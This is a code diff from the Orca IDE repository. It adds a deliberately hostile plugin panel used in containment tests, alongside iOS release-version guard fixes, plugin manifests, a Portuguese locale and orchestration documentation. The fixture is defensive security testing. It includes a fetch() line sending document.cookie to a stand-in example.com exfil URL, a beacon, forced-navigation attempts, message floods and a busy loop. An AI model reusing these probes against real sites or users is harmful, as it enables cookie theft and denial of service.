||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,16 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "hostile-panel",
|
||||
"publisher": "orca-samples",
|
||||
"name": "Hostile Panel (security fixture)",
|
||||
"version": "1.0.0",
|
||||
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"panels": [
|
||||
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
<!doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<!-- Security test fixture: every attempt below MUST be contained by the
|
||||
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
|
||||
probe reports pass/fail into the DOM so the containment run is
|
||||
directly observable in the panel. -->
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hostile panel fixture</h1>
|
||||
<ul id="results"></ul>
|
||||
<button id="bridge">Run bridge budget probes</button>
|
||||
<button id="navigate-top">Try top navigation</button>
|
||||
<button id="navigate-self">Try self navigation</button>
|
||||
<button id="navigate-anchor-form">Try anchor and form navigation</button>
|
||||
<button id="navigate-meta">Try meta refresh navigation</button>
|
||||
<button id="busy">Enter busy loop (watchdog probe)</button>
|
||||
<script>
|
||||
'use strict'
|
||||
// The main-process guard must bind the frame before plugin parsing.
|
||||
window.name = ''
|
||||
var results = document.getElementById('results')
|
||||
function report(name, contained, detail) {
|
||||
if (document.querySelector('[data-probe="' + name + '"]')) return
|
||||
var li = document.createElement('li')
|
||||
li.dataset.probe = name
|
||||
li.dataset.contained = contained ? 'true' : 'false'
|
||||
li.textContent =
|
||||
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
|
||||
results.appendChild(li)
|
||||
document.title = 'probes:' + results.children.length
|
||||
}
|
||||
|
||||
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
|
||||
var cookieValue = 'x'
|
||||
try {
|
||||
cookieValue = document.cookie || 'x'
|
||||
} catch (_) {
|
||||
// Opaque-origin frames may reject cookie access before CSP runs.
|
||||
}
|
||||
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
|
||||
.then(function () {
|
||||
report('fetch-exfil', false, 'request succeeded')
|
||||
})
|
||||
.catch(function () {
|
||||
report('fetch-exfil', true)
|
||||
})
|
||||
|
||||
// Probe 2: <img> beacon — must be blocked by img-src data: only.
|
||||
var img = new Image()
|
||||
var settled = false
|
||||
img.onload = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', false, 'image loaded')
|
||||
}
|
||||
}
|
||||
img.onerror = function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true)
|
||||
}
|
||||
}
|
||||
img.src = 'https://example.com/beacon.gif'
|
||||
setTimeout(function () {
|
||||
if (!settled) {
|
||||
settled = true
|
||||
report('img-beacon', true, 'no load event')
|
||||
}
|
||||
}, 3000)
|
||||
|
||||
// Navigation probes are opt-in so a failed attempt cannot erase the
|
||||
// network and bridge evidence before the harness observes it.
|
||||
document.getElementById('navigate-top').addEventListener('click', function () {
|
||||
try {
|
||||
window.top.location.href = 'https://example.com/'
|
||||
setTimeout(function () {
|
||||
report('top-navigation', window.top !== window)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('top-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-self').addEventListener('click', function () {
|
||||
try {
|
||||
window.location.href = 'https://example.com/self-navigation'
|
||||
setTimeout(function () {
|
||||
report('self-navigation', true)
|
||||
}, 0)
|
||||
} catch (error) {
|
||||
report('self-navigation', true, error.name)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
|
||||
var anchor = document.createElement('a')
|
||||
anchor.href = 'https://example.com/anchor-navigation'
|
||||
anchor.textContent = 'Navigation probe'
|
||||
document.body.appendChild(anchor)
|
||||
anchor.click()
|
||||
|
||||
var form = document.createElement('form')
|
||||
form.action = 'https://example.com/form-navigation'
|
||||
document.body.appendChild(form)
|
||||
form.requestSubmit()
|
||||
setTimeout(function () {
|
||||
report('anchor-form-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
document.getElementById('navigate-meta').addEventListener('click', function () {
|
||||
var refresh = document.createElement('meta')
|
||||
refresh.httpEquiv = 'refresh'
|
||||
refresh.content = '0;url=https://example.com/meta-refresh'
|
||||
document.head.appendChild(refresh)
|
||||
setTimeout(function () {
|
||||
report('meta-refresh-navigation', true)
|
||||
}, 0)
|
||||
})
|
||||
|
||||
// Probe 7: an oversized valid-looking call must receive a real refusal.
|
||||
window.addEventListener('message', function (event) {
|
||||
var data = event.data
|
||||
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
|
||||
return
|
||||
}
|
||||
if (data.requestId === 'oversized-probe') {
|
||||
report(
|
||||
'oversized-message',
|
||||
!data.ok && data.errorCode === 'invalid_request',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
if (data.requestId === 'flood-result') {
|
||||
report(
|
||||
'message-flood',
|
||||
!data.ok && data.errorCode === 'rate_limited',
|
||||
data.errorCode || 'unexpected success'
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
document.getElementById('bridge').addEventListener('click', function () {
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'oversized-probe',
|
||||
action: 'workspace.readContext',
|
||||
params: { padding: 'x'.repeat(128 * 1024) }
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('oversized-message', false, 'host sent no refusal')
|
||||
}, 2000)
|
||||
|
||||
// Probe 8: invalid, pong, and binary floods must all spend rate budget
|
||||
// before parsing; the final valid call is the observable oracle.
|
||||
setTimeout(function () {
|
||||
for (var i = 0; i < 40; i++) {
|
||||
var payload =
|
||||
i % 3 === 0
|
||||
? { type: 'orca-panel-pong', pingId: i }
|
||||
: i % 3 === 1
|
||||
? { type: 'invalid-hostile-message', sequence: i }
|
||||
: new Uint8Array(2048)
|
||||
window.parent.postMessage(payload, '*')
|
||||
}
|
||||
window.parent.postMessage(
|
||||
{
|
||||
type: 'orca-panel-action',
|
||||
requestId: 'flood-result',
|
||||
action: 'workspace.readContext',
|
||||
params: {}
|
||||
},
|
||||
'*'
|
||||
)
|
||||
setTimeout(function () {
|
||||
report('message-flood', false, 'host sent no rate-limit refusal')
|
||||
}, 2000)
|
||||
}, 150)
|
||||
})
|
||||
|
||||
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
|
||||
// Chromium keeps the sandboxed frame in its isolated renderer process.
|
||||
function enterBusyLoop() {
|
||||
report('busy-loop', true, 'watchdog should suspend this panel')
|
||||
while (true) {
|
||||
// Deliberately hostile fixture.
|
||||
}
|
||||
}
|
||||
document.getElementById('busy').addEventListener('click', enterBusyLoop)
|
||||
window.addEventListener('message', function (event) {
|
||||
if (
|
||||
event.source === window.parent &&
|
||||
event.data &&
|
||||
event.data.type === 'orca-hostile-busy-probe'
|
||||
) {
|
||||
enterBusyLoop()
|
||||
}
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
+2
-2
@@ -2,7 +2,7 @@
|
||||
"expo": {
|
||||
"name": "Orca",
|
||||
"slug": "orca-mobile",
|
||||
"version": "0.0.32",
|
||||
"version": "0.0.36",
|
||||
"orientation": "default",
|
||||
"icon": "./assets/icon.png",
|
||||
"userInterfaceStyle": "automatic",
|
||||
@@ -75,7 +75,7 @@
|
||||
"allowBackup": false,
|
||||
"permissions": ["RECORD_AUDIO", "MODIFY_AUDIO_SETTINGS"],
|
||||
"package": "com.stably.orca.mobile",
|
||||
"versionCode": 8
|
||||
"versionCode": 9
|
||||
},
|
||||
"plugins": [
|
||||
"expo-router",
|
||||
|
||||
+46
-16
@@ -36,8 +36,15 @@ DEFAULT_TESTFLIGHT_CHANGELOG = "Latest Orca Mobile updates and fixes.".freeze
|
||||
# closed"). Only approved/released/removed states qualify: a version that is
|
||||
# merely IN_REVIEW / WAITING_FOR_REVIEW / PROCESSING_FOR_APP_STORE still accepts
|
||||
# TestFlight builds, so bumping on those would break normal beta iteration.
|
||||
#
|
||||
# Covers both vocabularies: `appStoreState` is deprecated as of App Store
|
||||
# Connect API 3.3 in favor of `appVersionState`, which renames the shipped state
|
||||
# (READY_FOR_SALE -> READY_FOR_DISTRIBUTION) and drops the removed-from-sale
|
||||
# ones. Reading whichever field Apple populates keeps the guard working through
|
||||
# the transition instead of silently finding zero closed versions.
|
||||
CLOSED_APP_STORE_STATES = %w[
|
||||
READY_FOR_SALE
|
||||
READY_FOR_DISTRIBUTION
|
||||
PENDING_DEVELOPER_RELEASE
|
||||
PENDING_APPLE_RELEASE
|
||||
REPLACED_WITH_NEW_VERSION
|
||||
@@ -67,22 +74,42 @@ def current_mobile_version(config)
|
||||
config.fetch("expo").fetch("version")
|
||||
end
|
||||
|
||||
# Returns true when `version`'s App Store train is closed to new build uploads.
|
||||
# `app` is a Spaceship::ConnectAPI::App the caller looks up (nil if lookup
|
||||
# failed). On a nil app or any API error, degrade to "open": we then proceed as
|
||||
# before this check existed — the upload either succeeds or fails with the same
|
||||
# 90186 we have always seen, never worse than today's behavior.
|
||||
def version_train_closed?(app, version)
|
||||
return false unless app
|
||||
# True when either state field reports a terminally closed train. `respond_to?`
|
||||
# guards the newer field, which older spaceship versions do not define.
|
||||
def closed_state?(app_store_version)
|
||||
states = [app_store_version.app_store_state]
|
||||
states << app_store_version.app_version_state if app_store_version.respond_to?(:app_version_state)
|
||||
|
||||
app
|
||||
.get_app_store_versions(filter: { versionString: version })
|
||||
.any? { |app_store_version| CLOSED_APP_STORE_STATES.include?(app_store_version.app_store_state) }
|
||||
states.compact.any? { |state| CLOSED_APP_STORE_STATES.include?(state) }
|
||||
end
|
||||
|
||||
# Highest version whose App Store record is in a terminally closed state, or nil
|
||||
# when none is (or the lookup fails). Fetched once because the answer is a
|
||||
# property of the app, not of any single candidate version.
|
||||
#
|
||||
# Why the whole list rather than a per-version lookup: a version only gets an
|
||||
# App Store record once someone submits it. 0.0.34 was uploaded to TestFlight
|
||||
# but never submitted, so it had no record and a filtered lookup found nothing
|
||||
# closed — while 0.0.35 shipped, which closes 0.0.34 too (Apple: 90062 requires
|
||||
# a *higher* version than the last approved one).
|
||||
#
|
||||
# On a nil app or any API error, degrade to "open": we then proceed as before
|
||||
# this check existed — the upload either succeeds or fails with the same 90186
|
||||
# we have always seen, never worse than today's behavior.
|
||||
def highest_closed_app_store_version(app)
|
||||
return nil unless app
|
||||
|
||||
closed = app
|
||||
.get_app_store_versions
|
||||
.select { |app_store_version| closed_state?(app_store_version) }
|
||||
.map(&:version_string)
|
||||
|
||||
IosReleaseVersion.max_version(closed)
|
||||
rescue StandardError => error
|
||||
# Loud, not silent: a swallowed error here un-fixes the 90186 guard, so the
|
||||
# degraded run must be visible rather than buried.
|
||||
UI.error("Could not determine App Store state for #{version} (#{error.message}); assuming open and proceeding.")
|
||||
false
|
||||
UI.error("Could not determine closed App Store versions (#{error.message}); assuming open and proceeding.")
|
||||
nil
|
||||
end
|
||||
|
||||
def testflight_changelog
|
||||
@@ -103,13 +130,16 @@ platform :ios do
|
||||
UI.error("Could not look up App Store app #{BUNDLE_ID} (#{error.message}); skipping closed-train check.")
|
||||
nil
|
||||
end
|
||||
highest_closed = highest_closed_app_store_version(app)
|
||||
UI.message("Highest closed App Store version: #{highest_closed || 'none'}")
|
||||
|
||||
version =
|
||||
begin
|
||||
IosReleaseVersion.resolve(
|
||||
requested: options[:version],
|
||||
bump_patch: options[:bump_patch],
|
||||
current_version: current_mobile_version(config),
|
||||
train_closed: ->(candidate) { version_train_closed?(app, candidate) },
|
||||
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, highest_closed) },
|
||||
)
|
||||
rescue ArgumentError => error
|
||||
UI.user_error!(error.message)
|
||||
@@ -117,7 +147,7 @@ platform :ios do
|
||||
|
||||
# Explicit and checked-in versions still fail fast when closed. Patch bumps
|
||||
# skip closed trains above because workflow-only releases can outpace Git.
|
||||
if version_train_closed?(app, version)
|
||||
if IosReleaseVersion.closed_train?(version, highest_closed)
|
||||
retry_guidance =
|
||||
if IosReleaseVersion.truthy?(options[:bump_patch])
|
||||
"Use a higher release_version or land a \"Prepare mobile <version>\" commit."
|
||||
@@ -126,8 +156,8 @@ platform :ios do
|
||||
"or land a \"Prepare mobile <version>\" commit."
|
||||
end
|
||||
UI.user_error!(
|
||||
"iOS version #{version} is already submitted/released on the App Store and cannot accept " \
|
||||
"new builds. #{retry_guidance}",
|
||||
"iOS version #{version} is not higher than #{highest_closed}, which is already " \
|
||||
"submitted/released on the App Store, so Apple will reject the upload. #{retry_guidance}",
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -1,15 +1,47 @@
|
||||
module IosReleaseVersion
|
||||
module_function
|
||||
|
||||
SEMVER_PATTERN = /\A(\d+)\.(\d+)\.(\d+)\z/.freeze
|
||||
|
||||
def truthy?(value)
|
||||
%w[1 true yes on].include?(value.to_s.strip.downcase)
|
||||
end
|
||||
|
||||
def bump_patch(version)
|
||||
match = version.match(/\A(\d+)\.(\d+)\.(\d+)\z/)
|
||||
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless match
|
||||
# [major, minor, patch] for semver comparison, or nil for anything else.
|
||||
def parse(version)
|
||||
match = version.to_s.strip.match(SEMVER_PATTERN)
|
||||
return nil unless match
|
||||
|
||||
"#{match[1]}.#{match[2]}.#{match[3].to_i + 1}"
|
||||
[match[1].to_i, match[2].to_i, match[3].to_i]
|
||||
end
|
||||
|
||||
def bump_patch(version)
|
||||
parts = parse(version)
|
||||
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless parts
|
||||
|
||||
"#{parts[0]}.#{parts[1]}.#{parts[2] + 1}"
|
||||
end
|
||||
|
||||
# Highest semver in `versions`, skipping entries App Store Connect reports in
|
||||
# a non-semver shape. Compares numerically: "0.0.10" beats "0.0.9", which a
|
||||
# string sort gets backwards.
|
||||
def max_version(versions)
|
||||
Array(versions)
|
||||
.map { |version| version.to_s.strip }
|
||||
.select { |version| parse(version) }
|
||||
.max_by { |version| parse(version) }
|
||||
end
|
||||
|
||||
# Apple rejects an upload whose CFBundleShortVersionString is not higher than
|
||||
# the last approved version (90062) and reports that version's train as closed
|
||||
# (90186). So every version at or below `highest_closed` is unusable, not just
|
||||
# the ones whose own App Store record sits in a closed state.
|
||||
def closed_train?(version, highest_closed)
|
||||
candidate = parse(version)
|
||||
ceiling = parse(highest_closed)
|
||||
return false unless candidate && ceiling
|
||||
|
||||
(candidate <=> ceiling) <= 0
|
||||
end
|
||||
|
||||
def resolve(requested:, bump_patch:, current_version:, train_closed:)
|
||||
|
||||
@@ -45,4 +45,51 @@ class IosReleaseVersionTest < Minitest::Test
|
||||
|
||||
assert_equal("Cannot bump non-semver mobile version '0.0'", error.message)
|
||||
end
|
||||
|
||||
# The 0.0.34 regression: 0.0.35 shipped, so every version at or below it is
|
||||
# closed even though 0.0.34 itself never got an App Store record.
|
||||
def test_versions_at_or_below_the_highest_closed_version_are_closed
|
||||
assert(IosReleaseVersion.closed_train?("0.0.34", "0.0.35"))
|
||||
assert(IosReleaseVersion.closed_train?("0.0.35", "0.0.35"))
|
||||
refute(IosReleaseVersion.closed_train?("0.0.36", "0.0.35"))
|
||||
end
|
||||
|
||||
def test_nothing_is_closed_without_a_known_closed_version
|
||||
refute(IosReleaseVersion.closed_train?("0.0.1", nil))
|
||||
refute(IosReleaseVersion.closed_train?("0.0.1", ""))
|
||||
end
|
||||
|
||||
def test_non_semver_candidates_are_treated_as_open
|
||||
refute(IosReleaseVersion.closed_train?("0.0", "0.0.35"))
|
||||
end
|
||||
|
||||
def test_resolve_skips_past_the_highest_closed_version
|
||||
version = IosReleaseVersion.resolve(
|
||||
requested: "",
|
||||
bump_patch: true,
|
||||
current_version: "0.0.32",
|
||||
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, "0.0.35") },
|
||||
)
|
||||
|
||||
assert_equal("0.0.36", version)
|
||||
end
|
||||
|
||||
def test_max_version_compares_numerically_not_lexically
|
||||
assert_equal("0.0.10", IosReleaseVersion.max_version(%w[0.0.9 0.0.10 0.0.2]))
|
||||
assert_equal("0.2.0", IosReleaseVersion.max_version(%w[0.1.99 0.2.0]))
|
||||
assert_equal("1.0.0", IosReleaseVersion.max_version(%w[0.9.9 1.0.0]))
|
||||
end
|
||||
|
||||
def test_max_version_ignores_non_semver_entries
|
||||
assert_equal("0.0.35", IosReleaseVersion.max_version(["0.0.35", "1.0", "", nil]))
|
||||
assert_nil(IosReleaseVersion.max_version([]))
|
||||
assert_nil(IosReleaseVersion.max_version(nil))
|
||||
end
|
||||
|
||||
# Minor/major releases must close stale patch trains beneath them.
|
||||
def test_closed_train_compares_across_minor_and_major
|
||||
assert(IosReleaseVersion.closed_train?("0.0.99", "0.1.0"))
|
||||
assert(IosReleaseVersion.closed_train?("0.9.9", "1.0.0"))
|
||||
refute(IosReleaseVersion.closed_train?("1.0.1", "1.0.0"))
|
||||
end
|
||||
end
|
||||
|
||||
+6
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "orca",
|
||||
"version": "1.4.159-rc.0",
|
||||
"version": "1.4.160-rc.0",
|
||||
"description": "Next-gen IDE for parallel agentic development",
|
||||
"homepage": "https://github.com/stablyai/orca",
|
||||
"author": "stablyai",
|
||||
@@ -65,10 +65,12 @@
|
||||
"audit:localization": "node config/scripts/audit-localization-coverage.mjs",
|
||||
"build:cli": "tsc -p config/tsconfig.cli.json --outDir out --composite false --incremental false && node config/scripts/verify-cli-bin.mjs --fix-executable --fix-package-json && node config/scripts/install-dev-cli.mjs",
|
||||
"build:electron-vite": "node config/scripts/run-electron-vite-build.mjs",
|
||||
"build:electron-vite:parallel": "node config/scripts/run-electron-vite-targets-in-parallel.mjs",
|
||||
"build:web": "node config/scripts/run-vite-web-build.mjs && node config/scripts/verify-web-build.mjs",
|
||||
"build:desktop": "pnpm run typecheck && pnpm run build:relay && pnpm run build:cli && pnpm run build:electron-vite && pnpm run build:web",
|
||||
"build:web-from-renderer": "node config/scripts/project-renderer-web-client.mjs && node config/scripts/verify-web-build.mjs",
|
||||
"build:desktop": "pnpm run typecheck && pnpm run build:relay && pnpm run build:cli && pnpm run build:electron-vite && pnpm run build:web-from-renderer",
|
||||
"build": "pnpm run build:desktop && pnpm run build:native",
|
||||
"build:release": "pnpm run build:relay && pnpm run build:native && pnpm run verify:computer-native && pnpm run build:cli && pnpm run build:electron-vite && pnpm run build:web",
|
||||
"build:release": "pnpm run build:relay && pnpm run build:native && pnpm run verify:computer-native && pnpm run build:cli && pnpm run build:electron-vite && pnpm run build:web-from-renderer",
|
||||
"postinstall": "node config/scripts/rebuild-native-deps.mjs",
|
||||
"rebuild:electron": "node config/scripts/rebuild-native-deps.mjs",
|
||||
"rebuild:node": "pnpm rebuild node-pty",
|
||||
@@ -224,7 +226,7 @@
|
||||
"typescript": "^7.0.2",
|
||||
"typescript-api": "npm:typescript@6.0.3",
|
||||
"unified": "^11.0.5",
|
||||
"vite": "^7.3.6",
|
||||
"vite": "npm:rolldown-vite@7.3.1",
|
||||
"vitest": "^4.1.5",
|
||||
"vscode-oniguruma": "^2.0.1",
|
||||
"vscode-textmate": "^9.3.2",
|
||||
|
||||
Generated
+245
-544
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"version": 1,
|
||||
"plugins": [
|
||||
{
|
||||
"pluginKey": "stablyai.orca-navigation-shortcuts",
|
||||
"path": "stablyai.orca-navigation-shortcuts",
|
||||
"contentHash": "ce3a146bae9e121a18cb86a710973422be749a25da5a1c21a8911e2e98cc3a77"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"name": "Orca Official Plugins",
|
||||
"owner": "stablyai",
|
||||
"plugins": [
|
||||
{
|
||||
"id": "stablyai.orca-portuguese",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-portuguese.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "Brazilian Portuguese translations for common Orca navigation.",
|
||||
"categories": ["languages", "official"]
|
||||
},
|
||||
{
|
||||
"id": "stablyai.orca-multipass-recipes",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-multipass-recipes.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
|
||||
"categories": ["vm-recipes", "official"]
|
||||
},
|
||||
{
|
||||
"id": "stablyai.orca-navigation-shortcuts",
|
||||
"source": {
|
||||
"kind": "git",
|
||||
"url": "https://github.com/stablyai/orca-navigation-shortcuts.git",
|
||||
"ref": "v1.0.0"
|
||||
},
|
||||
"description": "Command aliases and optional shortcuts for frequent Orca views.",
|
||||
"categories": ["keybindings", "official"]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-multipass-recipes",
|
||||
"publisher": "stablyai",
|
||||
"name": "Multipass VM Recipes",
|
||||
"version": "1.0.0",
|
||||
"description": "A reviewed starter lifecycle for disposable Multipass workspaces.",
|
||||
"repository": "https://github.com/stablyai/orca-multipass-recipes",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"vmRecipes": [{ "path": "recipes/ubuntu-lts.json" }]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"id": "multipass-ubuntu-lts",
|
||||
"name": "Multipass Ubuntu LTS",
|
||||
"description": "Creates a four-CPU disposable Ubuntu workspace with Multipass.",
|
||||
"create": "multipass launch 24.04 --name \"$ORCA_VM_NAME\" --cpus 4 --memory 8G --disk 40G",
|
||||
"suspend": "multipass suspend \"$ORCA_VM_NAME\"",
|
||||
"resume": "multipass start \"$ORCA_VM_NAME\"",
|
||||
"destroy": "multipass delete \"$ORCA_VM_NAME\" --purge"
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-navigation-shortcuts",
|
||||
"publisher": "stablyai",
|
||||
"name": "Orca Navigation Shortcuts",
|
||||
"version": "1.0.0",
|
||||
"description": "Command aliases and optional shortcuts for frequent Orca views.",
|
||||
"repository": "https://github.com/stablyai/orca-navigation-shortcuts",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"commands": [
|
||||
{ "id": "open-tasks", "title": "Open Tasks", "context": "global", "action": "view.tasks" },
|
||||
{
|
||||
"id": "toggle-search",
|
||||
"title": "Toggle Search",
|
||||
"context": "global",
|
||||
"action": "sidebar.search.toggle"
|
||||
},
|
||||
{
|
||||
"id": "toggle-source-control",
|
||||
"title": "Toggle Source Control",
|
||||
"context": "global",
|
||||
"action": "sidebar.sourceControl.toggle"
|
||||
}
|
||||
],
|
||||
"keybindings": [
|
||||
{ "command": "open-tasks", "key": "Mod+Alt+T", "when": "global" },
|
||||
{ "command": "toggle-search", "key": "Mod+Alt+F", "when": "global" },
|
||||
{ "command": "toggle-source-control", "key": "Mod+Alt+G", "when": "global" }
|
||||
]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
{
|
||||
"settings": {
|
||||
"appearance": {
|
||||
"language": {
|
||||
"title": "Idioma",
|
||||
"description": "Escolha o idioma usado na interface do Orca.",
|
||||
"system": "Sistema",
|
||||
"english": "Inglês",
|
||||
"chinese": "Chinês simplificado",
|
||||
"korean": "Coreano",
|
||||
"japanese": "Japonês",
|
||||
"spanish": "Espanhol"
|
||||
}
|
||||
}
|
||||
},
|
||||
"menu": {
|
||||
"checkForUpdates": "Verificar atualizações...",
|
||||
"settings": "Configurações",
|
||||
"file": "Arquivo",
|
||||
"exit": "Sair",
|
||||
"edit": "Editar",
|
||||
"appearance": "Aparência",
|
||||
"view": "Visualizar",
|
||||
"reload": "Recarregar",
|
||||
"window": "Janela",
|
||||
"help": "Ajuda",
|
||||
"paste": "Colar"
|
||||
},
|
||||
"tray": {
|
||||
"openOrca": "Abrir o Orca",
|
||||
"quit": "Encerrar",
|
||||
"minimizeNotice": {
|
||||
"body": "O Orca continua em execução na bandeja do sistema"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
{
|
||||
"manifestVersion": 1,
|
||||
"id": "orca-portuguese",
|
||||
"publisher": "stablyai",
|
||||
"name": "Português do Brasil",
|
||||
"version": "1.0.0",
|
||||
"description": "Brazilian Portuguese translations for common Orca navigation.",
|
||||
"repository": "https://github.com/stablyai/orca-portuguese",
|
||||
"engines": { "orca": ">=1.4.0" },
|
||||
"pluginApi": 1,
|
||||
"contributes": {
|
||||
"languagePacks": [{ "locale": "pt-BR", "path": "locales/pt-BR.json" }]
|
||||
},
|
||||
"capabilities": []
|
||||
}
|
||||
+143
-31
@@ -22,7 +22,7 @@ Use this skill when coordination state matters. For lightweight terminal prompts
|
||||
|
||||
## Tool Boundary
|
||||
|
||||
If a task says to use Orca orchestration, the coordinator must create Orca runtime state with `orca orchestration task-create` and `orca orchestration dispatch --inject` or `orca orchestration run`.
|
||||
If a task says to use Orca orchestration, the coordinator must create or bind a Run, create the Task with `orca orchestration task-create`, then attach the worker with either the preferred `orca orchestration worker-start` composition or the low-level `orca orchestration dispatch --inject` path.
|
||||
|
||||
Do not substitute non-Orca subagent tools, generic agent-spawn APIs, or chat-only parallel worker features. Those may create useful workers, but they do not create Orca task/dispatch provenance, injected lifecycle preambles, `worker_done` authority, or decision gates.
|
||||
|
||||
@@ -51,9 +51,35 @@ Do not use orchestration merely because the user says "hand off", "handoff", "ha
|
||||
- The orchestration experimental feature must be enabled in Settings > Experimental.
|
||||
- `orca orchestration` commands are RPC calls to the running Orca runtime.
|
||||
|
||||
## Contract Migration
|
||||
|
||||
Orca uses a hard cutover for orchestration mutations. It does not run a legacy scheduler, translate old writes, or drain pre-upgrade orchestration work.
|
||||
|
||||
If a command returns `orchestration_migration_required`, `run_required`, or a lifecycle validation error with `nextCommandArgs`:
|
||||
|
||||
1. Confirm `effectsApplied` is `false`.
|
||||
2. Using the same CLI executable that returned the error, run the returned arguments: `skills get orchestration --full`.
|
||||
3. Read the guide completely. Do not retry the rejected command unchanged.
|
||||
4. Create or bind a lightweight Run, then restart the work using Run -> Task -> `worker-start`.
|
||||
5. Inspect any pre-upgrade terminal before creating replacement work.
|
||||
|
||||
The arguments intentionally omit an executable name so this works with `orca`, `orca-ide`, `orca-dev`, or another configured Orca CLI command.
|
||||
|
||||
Pre-upgrade terminals and agents are not killed during upgrade, but they are no longer supervised: old heartbeat, question, completion, scheduler, and mutation calls are rejected before effects. Legacy database rows remain available only for explicit inspection:
|
||||
|
||||
```bash
|
||||
orca orchestration run-list --json
|
||||
orca orchestration run-show --id run_legacy_local --json
|
||||
orca orchestration task-list --run run_legacy_local --json
|
||||
orca orchestration inbox --full --json
|
||||
orca orchestration check --terminal <legacy_handle> --peek --json
|
||||
```
|
||||
|
||||
Read-only inspection never consumes legacy mail. Do not use actionable `check`, acknowledgment, send, retry, or task updates against the legacy Run.
|
||||
|
||||
## Ownership
|
||||
|
||||
Orchestration messages and tasks are runtime-global. Lifecycle authority comes from the payload `taskId` + `dispatchId` of the active dispatch, verified against the dispatched pane. Terminal handles are routing metadata — a pane can receive a new handle after restart — so never accept or reject lifecycle provenance by comparing handles. Send `worker_done` and `heartbeat` from the worker's own terminal; the runtime ignores them when sent from a different pane.
|
||||
New orchestration messages and tasks belong to one explicitly bound Run. A Run is only a durable namespace and coordinator inbox; it never schedules or places workers. Lifecycle authority comes from the active Dispatch, and terminal handles remain routing metadata rather than durable identity. Send `worker_done` and `heartbeat` from the worker's own terminal; Orca routes them to that Dispatch's Run.
|
||||
|
||||
Classify inherited context before sending lifecycle messages:
|
||||
|
||||
@@ -78,36 +104,39 @@ orca orchestration dispatch-show --task <task_id> --json
|
||||
## Messaging
|
||||
|
||||
```bash
|
||||
orca orchestration send --to <handle|@group> --subject <text> [--from <handle>] [--body <text>] [--type <type>] [--priority <level>] [--thread-id <id>] [--payload <json>] [--json]
|
||||
orca orchestration check [--terminal <handle>] [--unread|--peek|--all] [--types <type,...>] [--inject] [--wait] [--timeout-ms <n>] [--json]
|
||||
orca orchestration send --subject <text> [--to <run:id|dispatch:id|legacy_handle>] [--from <handle>] [--body <text>] [--type <type>] [--priority <level>] [--thread-id <id>] [--payload <json>] [--json]
|
||||
orca orchestration check [--terminal <handle>] [--ack <delivery_id>] [--peek|--all] [--types <type,...>] [--format] [--wait] [--timeout-ms <n>] [--json]
|
||||
orca orchestration reply --id <msg_id> --body <text> [--from <handle>] [--json]
|
||||
orca orchestration ask --to <handle> --question <text> [--options <csv>] [--timeout-ms <n>] [--from <handle>] [--json]
|
||||
orca orchestration ask (--question <text>|--resume <msg_id>) [--options <csv>] [--timeout-ms <n>] [--from <handle>] [--json]
|
||||
orca orchestration inbox [--limit <n>] [--json]
|
||||
```
|
||||
|
